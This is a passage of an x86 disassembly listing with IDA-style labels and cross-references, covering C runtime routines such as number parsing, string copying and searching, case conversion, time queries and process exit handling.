or [ebp+arg_C], 2
jmp short loc_40CACE
; ---------------------------------------------------------------------------
loc_40CAC9: ; CODE XREF: sub_40CA73+4Ej
cmp bl, 2Bh
jnz short loc_40CAD4
loc_40CACE: ; CODE XREF: sub_40CA73+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_40CAD4: ; CODE XREF: sub_40CA73+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_40CC6B
cmp eax, 1
jz loc_40CC6B
cmp eax, 24h
jg loc_40CC6B
push 10h
test eax, eax
pop ecx
jnz short loc_40CB1C
cmp bl, 30h
jz short loc_40CB06
mov [ebp+arg_8], 0Ah
jmp short loc_40CB38
; ---------------------------------------------------------------------------
loc_40CB06: ; CODE XREF: sub_40CA73+88j
mov al, [esi]
cmp al, 78h
jz short loc_40CB19
cmp al, 58h
jz short loc_40CB19
mov [ebp+arg_8], 8
jmp short loc_40CB38
; ---------------------------------------------------------------------------
loc_40CB19: ; CODE XREF: sub_40CA73+97j
; sub_40CA73+9Bj
mov [ebp+arg_8], ecx
loc_40CB1C: ; CODE XREF: sub_40CA73+83j
cmp [ebp+arg_8], ecx
jnz short loc_40CB38
cmp bl, 30h
jnz short loc_40CB38
mov al, [esi]
cmp al, 78h
jz short loc_40CB30
cmp al, 58h
jnz short loc_40CB38
loc_40CB30: ; CODE XREF: sub_40CA73+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_40CB38: ; CODE XREF: sub_40CA73+91j
; sub_40CA73+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_40CB48: ; CODE XREF: sub_40CA73+16Cj
cmp dword_41FF84, 1
movzx esi, bl
jle short loc_40CB60
push 4
push esi
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40CB6B
; ---------------------------------------------------------------------------
loc_40CB60: ; CODE XREF: sub_40CA73+DFj
mov eax, off_41FD78
mov al, [eax+esi*2]
and eax, 4
loc_40CB6B: ; CODE XREF: sub_40CA73+EBj
test eax, eax
jz short loc_40CB77
movsx ecx, bl
sub ecx, 30h
jmp short loc_40CBA9
; ---------------------------------------------------------------------------
loc_40CB77: ; CODE XREF: sub_40CA73+FAj
cmp dword_41FF84, 1
jle short loc_40CB8B
push edi
push esi
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40CB96
; ---------------------------------------------------------------------------
loc_40CB8B: ; CODE XREF: sub_40CA73+10Bj
mov eax, off_41FD78
mov ax, [eax+esi*2]
and eax, edi
loc_40CB96: ; CODE XREF: sub_40CA73+116j
test eax, eax
jz short loc_40CBE4
movsx eax, bl
push eax
call sub_411C8D
pop ecx
mov ecx, eax
sub ecx, 37h
loc_40CBA9: ; CODE XREF: sub_40CA73+102j
cmp ecx, [ebp+arg_8]
jnb short loc_40CBE4
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_40CBCE
jnz short loc_40CBC8
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_40CBCE
loc_40CBC8: ; CODE XREF: sub_40CA73+147j
or [ebp+arg_C], 4
jmp short loc_40CBD7
; ---------------------------------------------------------------------------
loc_40CBCE: ; CODE XREF: sub_40CA73+145j
; sub_40CA73+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_40CBD7: ; CODE XREF: sub_40CA73+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_40CB48
; ---------------------------------------------------------------------------
loc_40CBE4: ; CODE XREF: sub_40CA73+125j
; sub_40CA73+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_40CC02
test edx, edx
jz short loc_40CBFC
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_40CBFC: ; CODE XREF: sub_40CA73+181j
and [ebp+var_8], 0
jmp short loc_40CC4F
; ---------------------------------------------------------------------------
loc_40CC02: ; CODE XREF: sub_40CA73+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_40CC28
test cl, 1
jnz short loc_40CC4F
and ecx, 2
jz short loc_40CC1F
cmp [ebp+var_8], 80000000h
ja short loc_40CC28
loc_40CC1F: ; CODE XREF: sub_40CA73+1A1j
test ecx, ecx
jnz short loc_40CC4F
cmp [ebp+var_8], eax
jbe short loc_40CC4F
loc_40CC28: ; CODE XREF: sub_40CA73+197j
; sub_40CA73+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_47F914, 22h
jz short loc_40CC3E
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_40CC4F
; ---------------------------------------------------------------------------
loc_40CC3E: ; CODE XREF: sub_40CA73+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_40CC4F: ; CODE XREF: sub_40CA73+18Dj
; sub_40CA73+19Cj ...
test edx, edx
jz short loc_40CC58
mov eax, [ebp+var_4]
mov [edx], eax
loc_40CC58: ; CODE XREF: sub_40CA73+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_40CC66
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_40CC66: ; CODE XREF: sub_40CA73+1E9j
mov eax, [ebp+var_8]
jmp short loc_40CC76
; ---------------------------------------------------------------------------
loc_40CC6B: ; CODE XREF: sub_40CA73+66j
; sub_40CA73+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_40CC74
mov [eax], edi
loc_40CC74: ; CODE XREF: sub_40CA73+1FDj
xor eax, eax
loc_40CC76: ; CODE XREF: sub_40CA73+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_40CA73 endp
; =============== S U B R O U T I N E =======================================
sub_40CC7B proc near ; CODE XREF: sub_403E11+4A6p
; sub_406BAB+1D54p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_40CA73
add esp, 10h
retn
sub_40CC7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CC92 proc near ; CODE XREF: sub_403E11+4Ep
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call dword_417068 ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call dword_417118 ; GetSystemTime
mov ax, [ebp+var_16]
cmp ax, word_47F90A
jnz short loc_40CCF7
mov ax, [ebp+var_18]
cmp ax, word_47F908
jnz short loc_40CCF7
mov ax, [ebp+var_1A]
cmp ax, word_47F906
jnz short loc_40CCF7
mov ax, [ebp+var_1E]
cmp ax, word_47F902
jnz short loc_40CCF7
mov ax, [ebp+var_20]
cmp ax, word_47F900
jnz short loc_40CCF7
mov eax, dword_47F8F8
jmp short loc_40CD3C
; ---------------------------------------------------------------------------
loc_40CCF7: ; CODE XREF: sub_40CC92+28j
; sub_40CC92+35j ...
lea eax, [ebp+var_CC]
push eax
call dword_417114 ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz short loc_40CD24
cmp eax, 2
jnz short loc_40CD20
cmp [ebp+var_32], 0
jz short loc_40CD20
cmp [ebp+var_24], 0
jz short loc_40CD20
push 1
pop eax
jmp short loc_40CD27
; ---------------------------------------------------------------------------
loc_40CD20: ; CODE XREF: sub_40CC92+7Aj
; sub_40CC92+81j ...
xor eax, eax
jmp short loc_40CD27
; ---------------------------------------------------------------------------
loc_40CD24: ; CODE XREF: sub_40CC92+75j
or eax, 0FFFFFFFFh
loc_40CD27: ; CODE XREF: sub_40CC92+8Cj
; sub_40CC92+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_47F900
movsd
movsd
movsd
movsd
pop edi
mov dword_47F8F8, eax
pop esi
loc_40CD3C: ; CODE XREF: sub_40CC92+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_411D59
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_40CD6C
mov [ecx], eax
locret_40CD6C: ; CODE XREF: sub_40CC92+D6j
leave
retn
sub_40CC92 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40CD70 proc near ; CODE XREF: sub_405185+75p
; sub_406BAB+407p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_40CDE1
sub_40CD70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40CD80 proc near ; CODE XREF: sub_405185+6Ep
; sub_406BAB+410p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_40CD9C
loc_40CD8D: ; CODE XREF: sub_40CD80+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_40CDCF
test ecx, 3
jnz short loc_40CD8D
loc_40CD9C: ; CODE XREF: sub_40CD80+Bj
; sub_40CD80+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_40CD9C
mov eax, [ecx-4]
test al, al
jz short loc_40CDDE
test ah, ah
jz short loc_40CDD9
test eax, 0FF0000h
jz short loc_40CDD4
test eax, 0FF000000h
jz short loc_40CDCF
jmp short loc_40CD9C
; ---------------------------------------------------------------------------
loc_40CDCF: ; CODE XREF: sub_40CD80+12j
; sub_40CD80+4Bj
lea edi, [ecx-1]
jmp short loc_40CDE1
; ---------------------------------------------------------------------------
loc_40CDD4: ; CODE XREF: sub_40CD80+44j
lea edi, [ecx-2]
jmp short loc_40CDE1
; ---------------------------------------------------------------------------
loc_40CDD9: ; CODE XREF: sub_40CD80+3Dj
lea edi, [ecx-3]
jmp short loc_40CDE1
; ---------------------------------------------------------------------------
loc_40CDDE: ; CODE XREF: sub_40CD80+39j
lea edi, [ecx-4]
loc_40CDE1: ; CODE XREF: sub_40CD70+5j
; sub_40CD80+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_40CE06
loc_40CDED: ; CODE XREF: sub_40CD80+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_40CE58
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_40CDED
jmp short loc_40CE06
; ---------------------------------------------------------------------------
loc_40CE01: ; CODE XREF: sub_40CD80+9Ej
; sub_40CD80+B8j
mov [edi], edx
add edi, 4
loc_40CE06: ; CODE XREF: sub_40CD80+6Bj
; sub_40CD80+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_40CE01
test dl, dl
jz short loc_40CE58
test dh, dh
jz short loc_40CE4F
test edx, 0FF0000h
jz short loc_40CE42
test edx, 0FF000000h
jz short loc_40CE3A
jmp short loc_40CE01
; ---------------------------------------------------------------------------
loc_40CE3A: ; CODE XREF: sub_40CD80+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40CE42: ; CODE XREF: sub_40CD80+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_40CE4F: ; CODE XREF: sub_40CD80+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40CE58: ; CODE XREF: sub_40CD80+72j
; sub_40CD80+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_40CD80 endp
; =============== S U B R O U T I N E =======================================
sub_40CE60 proc near ; CODE XREF: sub_405185+31p
; sub_406422+12Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_40CEDA
mov dh, [ecx+1]
test dh, dh
jz short loc_40CEC7
loc_40CE78: ; CODE XREF: sub_40CE60+52j
; sub_40CE60+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_40CE9A
test al, al
jz short loc_40CE94
loc_40CE89: ; CODE XREF: sub_40CE60+32j
mov al, [esi]
inc esi
loc_40CE8C: ; CODE XREF: sub_40CE60+3Fj
cmp al, dl
jz short loc_40CE9A
test al, al
jnz short loc_40CE89
loc_40CE94: ; CODE XREF: sub_40CE60+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40CE9A: ; CODE XREF: sub_40CE60+23j
; sub_40CE60+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_40CE8C
lea edi, [esi-1]
loc_40CEA4: ; CODE XREF: sub_40CE60+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_40CED3
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_40CE78
mov al, [ecx+3]
test al, al
jz short loc_40CED3
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_40CEA4
jmp short loc_40CE78
; ---------------------------------------------------------------------------
loc_40CEC7: ; CODE XREF: sub_40CE60+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_40CFC6
; ---------------------------------------------------------------------------
loc_40CED3: ; CODE XREF: sub_40CE60+49j
; sub_40CE60+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_40CEDA: ; CODE XREF: sub_40CE60+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_40CE60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEE0 proc near ; CODE XREF: sub_41073E+9p
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_47F9A4, 0
push ebx
push esi
push edi
jnz short loc_40CF0D
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_40CFA6
cmp eax, 5Ah
jg loc_40CFA6
add eax, 20h
jmp loc_40CFA6
; ---------------------------------------------------------------------------
loc_40CF0D: ; CODE XREF: sub_40CEE0+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_40CF41
cmp dword_41FF84, esi
jle short loc_40CF2F
push esi
push ebx
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40CF39
; ---------------------------------------------------------------------------
loc_40CF2F: ; CODE XREF: sub_40CEE0+42j
mov eax, off_41FD78
mov al, [eax+ebx*2]
and eax, esi
loc_40CF39: ; CODE XREF: sub_40CEE0+4Dj
test eax, eax
jnz short loc_40CF41
loc_40CF3D: ; CODE XREF: sub_40CEE0+ADj
mov eax, ebx
jmp short loc_40CFA6
; ---------------------------------------------------------------------------
loc_40CF41: ; CODE XREF: sub_40CEE0+3Aj
; sub_40CEE0+5Bj
mov edx, off_41FD78
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_40CF65
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_40CF6E
; ---------------------------------------------------------------------------
loc_40CF65: ; CODE XREF: sub_40CEE0+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_40CF6E: ; CODE XREF: sub_40CEE0+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_47F9A4
call sub_411E1B
add esp, 20h
test eax, eax
jz short loc_40CF3D
cmp eax, esi
jnz short loc_40CF99
movzx eax, [ebp+var_4]
jmp short loc_40CFA6
; ---------------------------------------------------------------------------
loc_40CF99: ; CODE XREF: sub_40CEE0+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_40CFA6: ; CODE XREF: sub_40CEE0+16j
; sub_40CEE0+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_40CEE0 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_40CFC0
loc_40CFB0: ; CODE XREF: sub_40CFC0+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_40CFC0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40CFC0 proc near ; CODE XREF: sub_406BAB+3ECp
; sub_406BAB+489p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0040CFB0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_40CFC6: ; CODE XREF: sub_40CE60+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_40CFEB
loc_40CFD8: ; CODE XREF: sub_40CFC0+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_40CFB0
test cl, cl
jz short loc_40D034
test edx, 3
jnz short loc_40CFD8
loc_40CFEB: ; CODE XREF: sub_40CFC0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_40CFF6: ; CODE XREF: sub_40CFC0+61j
; sub_40CFC0+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_40D038
and eax, 81010100h
jz short loc_40CFF6
and eax, 1010100h
jnz short loc_40D032
and esi, 80000000h
jnz short loc_40CFF6
loc_40D032: ; CODE XREF: sub_40CFC0+68j
; sub_40CFC0+81j ...
pop esi
pop edi
loc_40D034: ; CODE XREF: sub_40CFC0+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40D038: ; CODE XREF: sub_40CFC0+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_40D075
test al, al
jz short loc_40D032
cmp ah, bl
jz short loc_40D06E
test ah, ah
jz short loc_40D032
shr eax, 10h
cmp al, bl
jz short loc_40D067
test al, al
jz short loc_40D032
cmp ah, bl
jz short loc_40D060
test ah, ah
jz short loc_40D032
jmp short loc_40CFF6
; ---------------------------------------------------------------------------
loc_40D060: ; CODE XREF: sub_40CFC0+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40D067: ; CODE XREF: sub_40CFC0+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40D06E: ; CODE XREF: sub_40CFC0+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40D075: ; CODE XREF: sub_40CFC0+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_40CFC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D07C proc near ; CODE XREF: sub_406BAB+AEp
; sub_406BAB+C1p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_40D095: ; CODE XREF: sub_40D07C+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_40D095
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_40D0BD
mov edx, dword_47F910
loc_40D0BD: ; CODE XREF: sub_40D07C+39j
; sub_40D07C+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_40D0DD
test al, al
jz short loc_40D0DD
inc edx
jmp short loc_40D0BD
; ---------------------------------------------------------------------------
loc_40D0DD: ; CODE XREF: sub_40D07C+58j
; sub_40D07C+5Cj
mov ebx, edx
loc_40D0DF: ; CODE XREF: sub_40D07C+81j
mov al, [edx]
test al, al
jz short loc_40D103
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_40D0FF
inc edx
jmp short loc_40D0DF
; ---------------------------------------------------------------------------
loc_40D0FF: ; CODE XREF: sub_40D07C+7Ej
and byte ptr [edx], 0
inc edx
loc_40D103: ; CODE XREF: sub_40D07C+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_47F910, edx
and eax, ebx
pop ebx
leave
retn
sub_40D07C endp
; =============== S U B R O U T I N E =======================================
sub_40D118 proc near ; CODE XREF: sub_40D514+93p
mov eax, off_41DBCC
test eax, eax
jz short loc_40D123
call eax ; sub_40B8A9
loc_40D123: ; CODE XREF: sub_40D118+7j
push offset dword_419024
push offset dword_419010
call sub_40D200
push offset dword_41900C
push offset dword_419000
call sub_40D200
add esp, 10h
retn
sub_40D118 endp
; =============== S U B R O U T I N E =======================================
sub_40D145 proc near ; CODE XREF: sub_40D514+D2p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_40D167
add esp, 0Ch
retn
sub_40D145 endp
; =============== S U B R O U T I N E =======================================
sub_40D156 proc near ; CODE XREF: .nsp0:0040D605p
; sub_40D60A+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_40D167
add esp, 0Ch
retn
sub_40D156 endp
; =============== S U B R O U T I N E =======================================
sub_40D167 proc near ; CODE XREF: sub_40D145+8p
; sub_40D156+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_47F95C, edi
jnz short loc_40D184
push [esp+4+arg_0]
call dword_4170CC ; GetCurrentProcess
push eax
call dword_4170D0 ; TerminateProcess
loc_40D184: ; CODE XREF: sub_40D167+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_47F958, edi
mov byte_47F954, bl
jnz short loc_40D1D8
mov eax, dword_480F9C
test eax, eax
jz short loc_40D1C7
mov ecx, dword_480F98
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_40D1C6
loc_40D1B3: ; CODE XREF: sub_40D167+5Dj
mov eax, [esi]
test eax, eax
jz short loc_40D1BB
call eax
loc_40D1BB: ; CODE XREF: sub_40D167+50j
sub esi, 4
cmp esi, dword_480F9C
jnb short loc_40D1B3
loc_40D1C6: ; CODE XREF: sub_40D167+4Aj
pop esi
loc_40D1C7: ; CODE XREF: sub_40D167+3Cj
push offset dword_419030
push offset dword_419028
call sub_40D200
pop ecx
pop ecx
loc_40D1D8: ; CODE XREF: sub_40D167+33j
push offset dword_41903C
push offset dword_419034
call sub_40D200
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_40D1FE
push [esp+4+arg_0]
mov dword_47F95C, edi
call dword_41706C ; ExitProcess
loc_40D1FE: ; CODE XREF: sub_40D167+85j
pop edi
retn
sub_40D167 endp
; =============== S U B R O U T I N E =======================================
sub_40D200 proc near ; CODE XREF: sub_40D118+15p
; sub_40D118+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_40D205: ; CODE XREF: sub_40D200+16j
cmp esi, [esp+4+arg_4]
jnb short loc_40D218
mov eax, [esi]
test eax, eax
jz short loc_40D213
call eax
loc_40D213: ; CODE XREF: sub_40D200+Fj
add esi, 4
jmp short loc_40D205
; ---------------------------------------------------------------------------
loc_40D218: ; CODE XREF: sub_40D200+9j
pop esi
retn
sub_40D200 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D21A proc near ; CODE XREF: sub_406422+FCp
; sub_40A1F9+1E3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_40B5B0
cmp eax, 1
pop ecx
jb short loc_40D255
cmp byte ptr [ebx+1], 3Ah
jnz short loc_40D255
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_40D251
push 2
push ebx
push esi
call sub_41241F
add esp, 0Ch
and byte ptr [esi+2], 0
loc_40D251: ; CODE XREF: sub_40D21A+25j
inc ebx
inc ebx
jmp short loc_40D25F
; ---------------------------------------------------------------------------
loc_40D255: ; CODE XREF: sub_40D21A+18j
; sub_40D21A+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_40D25F
and byte ptr [eax], 0
loc_40D25F: ; CODE XREF: sub_40D21A+39j
; sub_40D21A+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_40D2D7
loc_40D272: ; CODE XREF: sub_40D21A+87j
mov cl, [eax]
movzx edx, cl
test byte_480E61[edx], 4
jz short loc_40D283
inc eax
jmp short loc_40D29D
; ---------------------------------------------------------------------------
loc_40D283: ; CODE XREF: sub_40D21A+64j
cmp cl, 2Fh
jz short loc_40D297
cmp cl, 5Ch
jz short loc_40D297
cmp cl, 2Eh
jnz short loc_40D29D
mov [ebp+var_4], eax
jmp short loc_40D29D
; ---------------------------------------------------------------------------
loc_40D297: ; CODE XREF: sub_40D21A+6Cj
; sub_40D21A+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_40D29D: ; CODE XREF: sub_40D21A+67j
; sub_40D21A+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_40D272
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_40D2D7
cmp [ebp+arg_8], 0
jz short loc_40D2D2
sub edi, ebx
cmp edi, esi
jb short loc_40D2BB
mov edi, esi
loc_40D2BB: ; CODE XREF: sub_40D21A+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_41241F
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_40D2D2: ; CODE XREF: sub_40D21A+97j
mov ebx, [ebp+arg_4]
jmp short loc_40D2E1
; ---------------------------------------------------------------------------
loc_40D2D7: ; CODE XREF: sub_40D21A+56j
; sub_40D21A+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_40D2E1
and byte ptr [ecx], 0
loc_40D2E1: ; CODE XREF: sub_40D21A+BBj
; sub_40D21A+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_40D334
cmp edi, ebx
jb short loc_40D334
cmp [ebp+arg_C], 0
jz short loc_40D311
sub edi, ebx
cmp edi, esi
jb short loc_40D2FA
mov edi, esi
loc_40D2FA: ; CODE XREF: sub_40D21A+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_41241F
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_40D311: ; CODE XREF: sub_40D21A+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_40D35C
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_40D321
mov esi, eax
loc_40D321: ; CODE XREF: sub_40D21A+103j
push esi
push [ebp+var_4]
push edi
call sub_41241F
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_40D35C
; ---------------------------------------------------------------------------
loc_40D334: ; CODE XREF: sub_40D21A+CCj
; sub_40D21A+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_40D352
sub eax, ebx
cmp eax, esi
jnb short loc_40D343
mov esi, eax
loc_40D343: ; CODE XREF: sub_40D21A+125j
push esi
push ebx
push edi
call sub_41241F
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_40D352: ; CODE XREF: sub_40D21A+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_40D35C
and byte ptr [eax], 0
loc_40D35C: ; CODE XREF: sub_40D21A+FCj
; sub_40D21A+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40D21A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D361 proc near ; CODE XREF: sub_406BAB+251Bp
; sub_406BAB+2548p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_40D375
xor eax, eax
jmp short loc_40D3AB
